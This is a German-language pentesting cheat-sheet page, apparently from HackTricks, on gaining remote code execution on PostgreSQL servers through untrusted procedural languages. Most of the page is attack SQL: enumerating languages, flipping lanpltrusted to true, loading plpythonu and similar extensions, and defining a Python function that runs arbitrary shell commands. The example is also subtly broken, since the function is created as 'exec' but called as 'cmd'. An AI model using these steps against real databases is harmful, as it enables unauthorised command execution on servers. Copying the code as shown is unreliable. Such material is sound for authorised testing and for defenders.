RCE mit PostgreSQL-Sprachen
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
PostgreSQL-Sprachen
Die PostgreSQL-Datenbank, auf die Sie Zugriff haben, könnte verschiedene Skriptsprache installiert haben, die Sie missbrauchen könnten, um willkürlichen Code auszuführen.
Sie können sie ausführen:
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
Die meisten der Skriptsprachen, die Sie in PostgreSQL installieren können, haben 2 Varianten: die vertrauenswürdige und die nicht vertrauenswürdige. Die nicht vertrauenswürdige hat einen Namen, der mit "u" endet und ist die Version, die es Ihnen ermöglicht, Code auszuführen und andere interessante Funktionen zu nutzen. Dies sind Sprachen, die, wenn sie installiert sind, interessant sind:
- plpythonu
- plpython3u
- plperlu
- pljavaU
- plrubyu
- ... (jede andere Programmiersprache, die eine unsichere Version verwendet)
warning
Wenn Sie feststellen, dass eine interessante Sprache installiert ist, aber von PostgreSQL als nicht vertrauenswürdig eingestuft wird (lanpltrusted
ist false
), können Sie versuchen, sie mit der folgenden Zeile vertrauenswürdig zu machen, sodass keine Einschränkungen von PostgreSQL angewendet werden:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Um Ihre Berechtigungen über die Tabelle pg_language zu überprüfen
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
caution
Wenn Sie eine Sprache nicht sehen, können Sie versuchen, sie zu laden (Sie müssen Superadmin sein):
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
Beachten Sie, dass es möglich ist, die sicheren Versionen als "unsicher" zu kompilieren. Überprüfen Sie dies zum Beispiel. Es lohnt sich also immer zu versuchen, ob Sie Code ausführen können, selbst wenn Sie nur die vertrauenswürdige Version finden.
plpythonu/plpython3u
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
pgSQL
Überprüfen Sie die folgende Seite:
C
Überprüfen Sie die folgende Seite:
RCE with PostgreSQL Extensions
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.